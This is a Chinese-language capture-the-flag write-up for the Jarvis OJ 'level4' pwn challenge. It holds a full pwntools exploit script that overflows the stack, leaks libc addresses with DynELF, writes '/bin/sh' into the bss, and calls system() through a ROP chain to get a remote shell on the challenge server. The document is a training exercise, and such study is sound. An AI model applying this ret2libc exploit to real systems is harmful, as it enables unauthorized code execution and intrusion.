题目信息

nc pwn2.jarvisoj.com 9880

level4.0f9cfa0b7bb6c0f9e030a5541b46e9f0

32位elf,开了Partial RELRO和NX:

静态分析

明显的溢出,没有直接可用的system,libc也未知

我们可以使用pwntools的DynELF模块来泄漏地址信息,具体参考这篇:

同时还有一点,因为文件本身内部没有字符串”/bin/sh”,所以我们要将它写到bss段中一边以后读取,我们在IDA中,可以看到bss段哪里开始是空的

exploit

因为read有三个参数,想要read之后执行system的话需要pop3ret的gadget,使用ROPgadget查找:

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

elf = ELF('./level4')
sh = remote('pwn2.jarvisoj.com', 9880)
# sh = process('./level4')
context.arch = 'i386'
# context.log_level = 'debug'

bss_addr = 0x0804A024
read_plt = elf.plt['read']
write_plt = elf.plt['write']
vuln_func = elf.symbols["vulnerable_function"]
pop3ret = 0x08048509


def leak(address):
# write(STDOUT,address,4)
payload = 'A' * (0x88 + 4)
payload += p32(write_plt)
payload += p32(vuln_func)
payload += p32(1)
payload += p32(address)
payload += p32(4)
sh.send(payload)
leak_addr = sh.recv(4)
return leak_addr


d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')

# read(STDIN,bss_addr,8)
payload = 'A' * (0x88 + 4)
payload += p32(read_plt)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
# system('/bin/sh')
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bss_addr)

sh.send(payload)
sh.send('/bin/sh\x00')
sh.interactive()

getflag